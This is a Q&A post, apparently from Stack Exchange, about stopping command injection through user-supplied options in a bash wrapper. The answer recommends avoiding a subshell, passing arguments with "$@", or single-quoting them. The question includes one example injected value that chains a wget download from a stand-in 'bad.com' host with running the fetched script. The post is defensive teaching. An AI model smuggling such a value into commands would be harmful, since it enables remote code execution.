Bash – How to prevent command injection through command options

argumentsbashquotingSecurityshell

I have an wrapper application where I need to let the user specify custom options to pass to a simulator. However, I want to make sure the user doesn't inject other commands through the user options. What's the best way to accomplish this?

For example.

  • User provides: -a -b
  • Application executes: mysim --preset_opt -a -b

However, I don't want this to happen:

  • User provides: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Application executes: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Currently, I'm thinking that I could simply surround every user provided option with single quotes ' and strip out any user-provided single quotes, so that the command in the last example would turn out to be a harmless:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Note: The mysim command executes as part of a shell script in a docker/lxc container. I'm running Ubuntu.

Best Answer

If you have control over the wrapper program, then make sure that it doesn't invoke a subshell. Deep down, an instruction to execute a program consists of the full path (absolute or relative to the current directory) to the executable, and a list of strings to pass as arguments. PATH lookup, whitespace separating arguments, quoting and control operators are all provided by the shell. No shell, no pain.

For example, with a Perl wrapper, use the list form of exec or system. In many languages, call one of the exec or execXXX functions (or unix.exec or whatever it's called) rather than system, or os.spawn with shell=False, or whatever it takes.

If the wrapper is a shell script, use "$@" to pass down the arguments, e.g.

#!/bin/sh
mysim -preset-opt "$@"

If you have no choice and the wrapper program invokes a shell, you'll need to quote the arguments before passing them to the shell. The easy way to quote arguments is to do the following:

  1. In each argument, replace each occurrence of ' (single quote) by the four-character string '\''. (e.g. don't becomes don'\''t)
  2. Add ' at the beginning of each argument and also at the end of each argument. (e.g. from don't, don'\''t becomes 'don'\''t')
  3. Concatenate the results with a space in between.

If you need to do this in a shell wrapper, here's a way.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Unfortunately, bash's ${VAR//PATTERN/REPLACEMENT} construct, which should come handy here, requires quirky quoting, and I don't think you can obtain '\'' as the replacement text.)